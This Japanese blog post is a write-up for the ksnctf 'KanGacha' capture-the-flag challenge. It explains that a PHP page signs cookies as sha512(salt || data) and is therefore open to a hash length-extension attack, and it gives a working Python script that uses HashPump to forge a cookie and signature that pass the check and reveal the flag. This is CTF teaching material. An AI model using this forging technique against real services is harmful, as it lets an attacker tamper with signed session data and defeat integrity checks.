オイオイオイ書くわアイツ

ほうクソブログですか……たいしたものですね

ksnctf KanGacha writeup

ksnctf.sweetduet.info

問題

ソースコードが与えられた php のページに対して攻撃を仕掛ける問題です。

$shipname の 11 番目の要素である Yamato を出すことでフラグが獲得できますが、後述するように Gacha によって得られる艦娘は 1 ~ 10 番目の要素なので、いくら Gacha を連打しても Yamato は得られません。したがって、取得済み艦娘のデータを何らかの方法で改ざんすることが必要になります。これをするために、このページのコードを見てみましょう。

if (isset($_POST['submit']))
{
    //  Gacha
    if ($_POST['submit'] === 'Gacha')
    {
        //  Yamato is ultra rare
        $ship[] = mt_rand(0, count($shipname)-2);

        $s = implode(',', $ship);
        $sign = hash('sha512', $salt.$s);

        setcookie('ship', $s);
        setcookie('signature', $sign);
    }

    //  Clear
    if ($_POST['submit'] === 'Clear')
    {
        setcookie('ship', '', 0);
        setcookie('signature', '', 0);
    }

    header("Location: {$_SERVER['REQUEST_URI']}");
    exit();
}

問題の php のページには Gacha と Clear のボタンが配置されています。 Gacha を押すこと submit=Gacha のパラメータを POST します。この POST を受け取ると、ランダムに 0~9 の整数がクッキー($_COOKIE['ship'] )に追加され、 $_COOKIE['signature'] が事前に設定された文字列 $salt と $_COOKIE['ship'] を文字列結合した文字列 $salt.$_COOKIE{'ship'] の sha512 によるハッシュ値に上書きされます。その後クッキーの各要素の整数に対応した $shipname の要素がリストとして表示されます。したがって、この $_COOKIE['ship'] を改ざんすれば良いのですが、以下のようなチェックが行われているので、単純な改ざんでは不十分です。

//  Check signature and read
if (isset($_COOKIE['ship']) and
    isset($_COOKIE['signature']) and
    hash('sha512', $salt.$_COOKIE['ship']) === $_COOKIE['signature'])
    $ship = explode(',', $_COOKIE['ship']);
else
    $ship = array();

リクエストメソッドに関わらず、このページにアクセスした際にクッキーに対する不正が行われていないかチェックされます。$salt.$_COOKIE['ship'] の sha512 によるハッシュ値が、 $_COOKIE['signature'] と一致するかを確認されます。これが一致しなかった場合、 $ship (と $_COOKIE['ship'})は空配列で上書きされます。

知識

length-extension attack

結論からいうと、この php には signature の作成方法に問題があるため、 length-extension attack に対して脆弱性があるということのようです。

詳しい話の前に定義を述べますと、知識の森の資料*1より、length-extension attack とは、

反復形ハッシュ関数Hについて,H(M||M')がH(M)とM'のみから計算できるという性質を利用する攻撃である.ここで,M||M'はMとM'との連接を表す

ということらしいです。

ソースコードにおいて signature はハッシュ関数 {H} を用いて次のように定義されています。

{ \displaystyle
signature = H(salt \ || \  ship)
}

今回の問題においては H( salt || ship) と ",10" から、 H( salt || ship || ",10" ) が求められるので、クッキーに不正に Yamato を追加しても signature のチェックを誤魔化すことができるということになります。

このような length-extension attack を行うツールとしては、 HashPump が有名です。この問題もこれを使って解きました。

解答

import subprocess
import re

# セッションを接続するための準備
kangacha_url = "http://ctfq.sweetduet.info:10080/~q31/kangacha.php"
s= requests.Session()

# 一度ポストし、クッキーの情報を得る
r = s.post(kangacha_url, data = {"submit":"Gacha"})
data = s.cookies["ship"]
signature = s.cookies["signature"]

# hashpump を subprocess で呼ぶための準備
args = {}
args["data"] = data
args["signature"] = signature
args["key"] = 21
args["append"] = ",10"

cmd = "hashpump -s {signature} -k {key} -d {data} "
cmd += "-a {append}"
cmd = cmd.format(**args)

proc = subprocess.Popen(cmd.strip().split(" "), stdout=subprocess.PIPE)
out, err = proc.communicate()

# 得られた cookie を url エンコードにする
crack_signature, crack_data = out.decode("utf-8").strip().split("\n")
crack_data = crack_data.replace("\\x","%")

# cookie を変更して再接続
s.cookies.clear()
setargs = {"domain":"ctfq.sweetduet.info","path":"/~q31"}
s.cookies.set("ship",crack_data,**setargs)
s.cookies.set("signature",crack_signature,**setargs)
r = s.get(kangacha_url)

# Yamato がドロップしているので、フラグ部分を抜き出す。
m = re.search("Yamato \[(?P<flag>.*)\]", r.text)
print(m.group("flag"))

特筆するところがない感じがしますが、 requests で cookie を扱うのが少し面倒だったのと、 url エンコードにするのが思いつかずに苦戦していました。

資料

length-extension attack に関しては先程の知識の森の資料と、以下の資料が参考になりそうです。